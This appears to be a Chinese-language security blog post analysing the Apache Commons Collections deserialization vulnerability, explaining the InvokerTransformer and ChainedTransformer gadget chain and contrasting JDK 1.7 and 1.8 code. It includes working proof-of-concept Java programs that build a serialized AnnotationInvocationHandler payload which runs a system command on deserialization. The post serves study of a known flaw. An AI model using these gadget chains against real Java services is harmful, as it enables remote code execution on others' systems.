Automne's Shadow.

Apache Commons Collections Deserialization Review

2019/11/16 Share

Web

开始补Java安全的相关知识。

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

2016年前后,Apache Commons Collections 反序列化漏洞横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS多个Java应用。

网上有很多关于该漏洞的分析文章,还是要自己走一遍加深印象。

漏洞影响版本: commons-collections <= 3.2.1 , jdk <= 1.7

在开始分析漏洞之前,需要对Java里的反射机制有一定了解,详情可见 https://www.bilibili.com/video/av56351262?p=6

这里贴个图看一下常用的一些获取功能

automne

Java的序列化/反序列化对应的API接口:

1
2
序列化:	java.io.ObjectOutputStream类 --> writeObject()
反序列化: java.io.ObjectInputStream类 --> readObject()

先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;

调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

现在回到漏洞上,这个漏洞怎么来的,应该从何说起?

Apache Commons Collections中有一个特殊的接口(Transformer接口),其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer ,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else {
return new InvokerTransformer(methodName);
}
}

public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
throw new IllegalArgumentException("The parameter types must match the arguments");
} else if (paramTypes != null && paramTypes.length != 0) {
paramTypes = (Class[])paramTypes.clone();
args = (Object[])args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
} else {
return new InvokerTransformer(methodName);
}
}

private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}

从核心代码处可以看到只要传入方法名、参数类型和参数,即可调用任意函数。

那么就可以先用ConstantTransformer()获取Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令:

1
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("xxx");

也就是说要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformedMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换。

ChainedTransformer的核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class ChainedTransformer implements Transformer, Serializable {
...

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

...
}

示例POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CollectionPoc3 {

public static void main(String[] args) throws Exception {
String command = (args.length != 0) ? args[0] : "calc";
String[] execArgs = command.split(",");

Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap<String, Object>();
tempMap.put("1111", "2222");
Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);
//exMap.put("1111", "2222");
for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) {
exMapValue.setValue(1);
}
}
}

这里有几点需要注意:

1
2
3
1.TransformedMap类用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数 Transformer,即可从任意Map对象生成相应的TransformedMap
2.在最后执行exMapValue.setValue(1)之前,tempMap里需要有值,也就是执行tempMap.put()赋值是必要的
3.注释掉最后3行代码,使用exMap.put("1111", "2222");进行赋值同样也可以触发命令执行

调试代码可知setValue方法跟到了AbstractInputCheckedMapDecorator.class里

automne

IDEA里执行后就会弹出计算器

automne

目前来看,只是人为地使用了setValue函数来实现了命令执行,要想实现远程地反序列化漏洞,还需要在代码里寻找gadget,使得程序在调用readObject反序列化时使用这个setValue函数,从而实现执行payload

1
如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法,所以反序列化漏洞要关注有没有重写后的readObject方法

正所谓无巧不成书,sun.reflect.annotation.AnnotationInvocationHandler这个类刚好符合这个条件

jdk 1.7这个类里的readObject代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

可以看到上面的关键操作:

1
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

这里的setValue可以用于触发上面的攻击链。

同理看一下修复后的jdk 1.8里的对应代码,已经没有再使用setValue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
GetField fields = s.readFields();
Class<? extends Annotation> t = (Class)fields.get("type", (Object)null);
Map<String, Object> streamVals = (Map)fields.get("memberValues", (Object)null);
AnnotationType annotationType = null;

try {
annotationType = AnnotationType.getInstance(t);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Map<String, Object> mv = new LinkedHashMap();

String name;
Object value;
for(Iterator var8 = streamVals.entrySet().iterator(); var8.hasNext(); mv.put(name, value)) {
Entry<String, Object> memberValue = (Entry)var8.next();
name = (String)memberValue.getKey();
value = null;
Class<?> memberType = (Class)memberTypes.get(name);
if (memberType != null) {
value = memberValue.getValue();
if (!memberType.isInstance(value) && !(value instanceof ExceptionProxy)) {
value = (new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")).setMember((Method)annotationType.members().get(name));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, t);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);
}

从这里 https://xz.aliyun.com/t/136 抄的POC,注释很详细,但是发现运行的时候有些问题,结合 http://mi0.xyz/2019/09/07/%e6%b5%85%e6%98%be%e6%98%93%e6%87%82%e7%9a%84java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%85%a5%e9%97%a8/ 进行了修改:

1
2
1. Transformer[] transformers = new Transformer[]{}不能再使用上面示例POC代码的构造形式,否则反序列化时会报java.lang.IllegalArgumentException错误
2. 另外注意BeforeTransformerMap.put("value", "spring coming soon");的时候第一个参数要为"value",否则也是无法执行成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CollectionPoc2{
public static void main(String[] args) throws Exception {
//execArgs: 待执行的命令数组
//String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformedChain = new ChainedTransformer(transformers);

//BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
//Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

BeforeTransformerMap.put("value", "spring coming soon");

//Map数据结构,转换后的Map
/*
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法。
*/
//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

//序列化操作
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();

//反序列化操作
FileInputStream fileInputStream = new FileInputStream("payload.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}

/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行

执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

*/

上面的代码执行完之后会生成二进制文件(序列化后的)payload.bin,紧接着再直接通过反序列化(readObject)执行了命令。

automne

在真实漏洞环境中则是把payload.bin传递给具有相应环境的反序列化数据交互接口使之触发命令执行的 gadget。

参考链接:

https://xz.aliyun.com/t/136

https://blog.knownsec.com/2015/12/untrusted-deserialization-exploit-with-java/

https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

https://www.cnblogs.com/wfzWebSecuity/p/11505122.html

http://mi0.xyz/2019/09/07/%e6%b5%85%e6%98%be%e6%98%93%e6%87%82%e7%9a%84java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%85%a5%e9%97%a8/

CATALOG